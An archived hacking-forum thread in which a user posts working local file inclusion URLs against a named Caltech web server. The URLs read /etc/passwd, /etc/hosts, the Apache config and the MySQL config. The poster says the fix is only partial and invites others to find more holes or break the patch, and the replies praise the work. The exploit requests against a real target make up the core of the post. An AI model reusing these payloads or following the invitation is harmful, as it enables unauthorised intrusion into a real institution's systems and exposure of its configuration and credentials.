+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [LFI] CalTECH - California Institute of Technology [LFI] (/showthread.php?tid=2078064)
[LFI] CalTECH - California Institute of Technology [LFI] - Hooded Robin - Jan 3, 2012
This is the third one I have found in there site in a month, but alas I felt bad since it is such respected EDU so I reported and they have been patched. I just did a check recently and the patches only seem to be partially applied so feel free to check around for more holes or a way to break the current quick patch they have in place - open basedir restriction is now a problem and prevents as much traversal as previously avaialble when I found it. I took a few screenshots while I was working things for proof so thoought I would share them now that things are fixed (sort of):
http://hep.caltech.edu/cms/i.php?p=/etc/passwd
[img]http://img828.imageshack.us/img828/8910/85168244.png[/img]
http://hep.caltech.edu/cms/i.php?p=/etc/hosts
[img]http://img847.imageshack.us/img847/4316/50673732.png[/img]
http://hep.caltech.edu/cms/i.php?p=/etc/httpd/conf/httpd.conf
[img]http://img853.imageshack.us/img853/179/22208286.png[/img]
http://hep.caltech.edu/cms/i.php?p=/etc/my.cnf
[img]http://img638.imageshack.us/img638/8518/19401667.png[/img]
PS - they did not even respond to my mails and just poorly patched so I am sharing here for your enjoyment 🎉
* - VipVince - Jan 3, 2012
The biggest organisations alot of the times have the most common flaws. GJ!
* - HaloSparton - Jan 3, 2012
I wonder if you can hack my college APP acceptance?
* - Pillows - Jan 3, 2012
(Jan 3, 2012 10:51 PM)HaloSparton Wrote: I wonder if you can hack my college APP acceptance?
What do we look like your slaves? And besides thats not something we can do with just LFI. I'm pretty sure applications are handled manually.
* - legend_x - Apr 18, 2014
You did what you are supposed to do as a good white hat you represent. But since they didnt listen, not your fault. Good work